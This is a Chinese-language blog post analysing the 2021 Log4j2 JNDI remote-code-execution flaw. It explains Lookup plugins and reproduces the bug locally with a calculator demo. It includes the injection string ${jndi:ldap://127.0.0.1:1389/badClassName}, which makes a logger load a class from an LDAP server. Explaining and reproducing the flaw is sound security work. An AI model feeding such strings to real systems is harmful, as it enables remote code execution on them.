Log4j2 Jndi 漏洞原理如何深入解析及复盘?
摘要:欢迎访问我的个人博客网站,体验无广告的清爽阅读呦:https:zhaozhihao.comarchiveslog4j2-jndi-lou-dong-jie-xi-fu-pan “ 2021-12-10一个值
欢迎访问我的个人博客网站,体验无广告的清爽阅读呦:https://zhaozhihao.com/archives/log4j2-jndi-lou-dong-jie-xi-fu-pan
“2021-12-10一个值得所有研发纪念的日子。”
一波操作猛如虎,下班到了凌晨2点25。
基础组件的重要性,在此次的Log4j2漏洞上反应的淋漓尽致,各种“核弹级漏洞”、“超高危” 等词汇看的我瑟瑟发抖,那么问题真的有那么严重吗?这个让大家普遍加班搞到凌晨的漏洞,到底是什么问题?
01
—
漏洞解析、复现
Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象
而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象
看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名称实例化为对应的插件对象,然后与你所配置的Logger进行关联。
Console,RollingFile 等则是我们一般情况下常用的插件,而此次出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup呐,就是下面这个
此时则会有一个疑问,这个插件?没见过?不熟悉?使用频率不高吧?
按照道理来说的确是这样,一个使用频率不高的插件,就算有漏洞,也很难会去触发到。
但偏偏这个插件被人为使用的频率较低,但代码触发到的频率很高,高到你代码中每次触发info,warn,error 等日志写入的时候,都会去校验一下是否执行Lookup的逻辑。也就是基于此,这样一个小的插件由于和日志的写入逻辑有所关联,就导致了漏洞触发的可能性成倍的增加。
Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,如下所示:
error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息
同理Log4j2中还封装的有DockerLookup,KubernetesLookup等,当你要在服务中获取Docker的元数据信息时,则最终会被Log4j2框架调度执行到DockerLookup方法中,由DockerLookup来执行具体的交互并返回对应的数据。
那么此时再来去看JndiLookup则一目了然了,没错,JndiLookup只是Log4j2框架中各种Lookup的其中一个,其作用则是通过Jndi规范去获取对应的配置信息时使用。
此时我们来验证一下JndiLookup的漏洞,如下所示:
各大安全厂商在发布漏洞验证报告时的截图均是以$Jndi 打开本地计算器为例,以此表示Jndi存在严重的安全隐患,所以此处本人也是直接以此为例来进行验证。
当我启动main方法后可以发现${jndi:ldap://127.0.0.1:1389/badClassName} 这段代码最终打开了本地的一个计算器程序,漏洞验证成功。
原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
实际上想要本地复现这个漏洞是并不简单的,所以为了后续可以更快速的理解,我们此处则需要重复几个概念:
1、jndi 全名 Java Naming and Directory Interface,是用于目录服务的Java API,它允许Java客户端通过名称发现查找数据和资源(以Java对象的形式)。
2、触发Lookup插件的场景是使用:${},如上述的${java:version}表示使用JavaLookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用JndiLookup传入值为 ldap://ip:port 。
3、jndi是目录接口,所以JndiLookup中则是各种目录接口的实现集合,如下图所示可以发现JndiLookup中可直接调用的具体实现类有很多,其中就包括LdapURLContext
OK,了解了上述的概念,我们就可以继续开始了。
